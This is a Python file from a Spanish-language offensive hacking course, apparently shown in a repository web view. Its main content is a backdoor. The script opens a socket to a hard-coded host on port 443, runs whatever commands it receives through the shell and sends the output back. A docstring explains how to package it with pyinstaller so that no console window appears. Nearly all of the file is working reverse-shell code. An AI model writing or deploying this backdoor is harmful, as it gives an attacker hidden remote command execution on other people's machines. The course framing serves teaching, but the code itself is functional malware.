Curso-lenguaje-python/python-ofensivo/15_hacking/11_c2/backdoor.py

49 lines
850 B
Python
Raw Normal View History

2024-02-01 01:26:44 +01:00
# /usr/bin/env python3
"""
Backdoor
2024-02-01 19:18:06 +01:00
Para hacerlo invisible se puede usar pyinstaller con la opción --noconsole
pyinstaller --onefile --noconsole listener.py
2024-02-01 01:26:44 +01:00
"""
import signal
import socket
import subprocess
def handler(signum, frame):
"""
Manejador de señales
"""
print("\n\n[!] Saliendo...")
exit(1)
signal.signal(signal.SIGINT, handler)
def run_command(command):
"""
Ejecutar comandos
"""
command_output = subprocess.check_output(command, shell=True)
return command_output.decode("cp850")
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.2.105", 443))
while True:
command = s.recv(1024).decode().strip()
command_output = run_command(command)
s.send(b"" + command_output.encode() + b"")
s.close()